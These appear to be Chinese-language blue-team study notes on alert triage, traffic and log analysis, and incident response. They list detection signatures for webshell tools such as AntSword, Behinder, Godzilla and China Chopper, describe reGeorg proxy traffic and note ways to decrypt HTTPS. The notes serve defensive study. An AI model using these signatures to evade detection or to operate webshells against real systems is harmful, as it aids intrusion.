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安全设备的部署：

对于仅仅做流量监测、报警等安全设备并联在网络架构中•

对于攻击进行防护、拦截等安全设备常常串联在网络架构中•

注意：并联的安全设备通过引流的方式也是能达到拦截攻击流量的效果

常见的安全设备优先级

常见研判经验

    告警分析类型：

        1. 业务误报

            原因：由于开发代码不规范或防护设备拦截策略问题引起的误报。

            特点：大量请求，处罚漏洞类型类似，触发事件有一定规律

        2. 扫描器请求

            原因：僵尸网络批量全网扫描引发的攻击流量告警，或扫描器引发的无意义的

漏洞

            特点：大量请求、攻击频率高、攻击请求与实际环境有违背、攻击特征比较明

显。

        3. 告警真实攻击

            原因：由真实攻击者引发的攻击告警

流量与日志分析
2024年5月17日 17:47
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            原因：由真实攻击者引发的攻击告警

            特点：攻击频率较低，攻击请求与实际环境相结合，攻击请求偏深度利用。

流量分析

分类: 

常见恶意流量分析（webshell）、常见代理流量分析（regeorg）、常见协议流量分析

（ftp http dns）

常见恶意流量分析——webshell

    1.Webshell是基于Web应用环境在浏览器端提供而已操作的网页后门，

    2.包含建议或复杂的恶意代码

    3.Webshell流量存在基本特征。

常见Webshell工具以及相应的特征：

    1.蚁剑

有些UA存在antSword 

存在@ini_set("display_errors","0")或者危险函数

    2. 冰蝎

Acceptlaoolication/json text/javascript /;q=0.01 

content-length有规律 每次+1

user-agent 

appect很⻓

信息是aes加密,base64编码

    3. 哥斯拉

    请求包⻓度为52541 响应包为0 强特征:cookie值最后有一个分号。 命令执

⾏过程载体有pass 

⼀个tcp包中有三个http

    4. 菜刀

请求包UA头为百度,⽕狐 

请求体中存在eavl,base64等特征字符

请求体中传递的payload为base64编码

Cknife php后门
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Cknife jsp 后门
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蚁剑 jsp

中国菜刀 jsp后门

冰蝎后门
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Wabaco后门

常见代理流量分析

Regeorg

reGeorg:是常用的通过 jsp、php 等文件基于 web应用建立socks代理的工具。•

reGeorg.代理请求过程:•

代理脚本发送连接目标请求

请求中有两个 http 请求报文第一个为攻击者发送到 tunnel 代理脚本的请求

第二个为浏览器等应用请求目标的报文内容

获取目标返向内容 --read 操作请求 read 操作获取目标返回内容

常见协议流量

FTP

FTP:FTP 是常用的文件传输协议，允许匿名或者认证模式登录，对远程文件夹进

行读取、上传、删除等操作

•
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HTTP

HTTP:主要用于Web 浏览器与 Web 服务器之间的通信。HTTP 常见

get、post、options、put 等方法

•

DNS协议:主要用于域名和IP的转换，可以作为带外传输数据的载体•

一次 DNS 查询

上层 DNS 服务器返回 DNS 查询结果•

加密数据包解密

HTTPS：

HTTP over TLS，基于 TLS 加密的 http 请求，请求内容为加密数据MITM:利用代理进行

中间人攻击解密流量←RSA Private Key:

利用网站加密私钥进行解密←SSLKEYLOGFILE:利用浏览器 Firefox或者 Chrome的

SSLKEYLOGFILE 进行解密
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应急响应：安全人员在遇到突发事件后采取的措施和行动 •

突发事件：发生在计算机系统网络上威胁网络安全的事件，如：黑客入侵，信息窃取，

网络 流量异常，拒绝服务攻击

•

应急响应流程

应急响应
2024年5月24日 17:55
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常用的应急响应工具

进程分析:ProcessHacker、ProcessExplorer、PCHunter •

流量分析工具:Wireshark、TCPView、Portmon •

开机启动项分析:AutoRuns •

信息收集取证:FastIR •

Webshell 查杀工具:D 盾、各类病毒专杀工具•

应急响应技能
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Windows 日志分析 
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1.打开事件管理器（开始-管理工具-事件查看/开始运行eventvwr）

2.主要分析安全日志，可以借助自带的筛选功能

3.或是借助其他的日志分析工具进行分析
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linux系统信息
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Linux webshell查找
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Linux 应急响应-查找语句
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红队攻击
2024年5月24日 17:59

   分区 热月 的第 50 页    



   分区 热月 的第 51 页    



   分区 热月 的第 52 页    



   分区 热月 的第 53 页    



   分区 热月 的第 54 页    



   分区 热月 的第 55 页    



   分区 热月 的第 56 页    



   分区 热月 的第 57 页    



   分区 热月 的第 58 页    



   分区 热月 的第 59 页    



   分区 热月 的第 60 页    



   分区 热月 的第 61 页    



   分区 热月 的第 62 页    


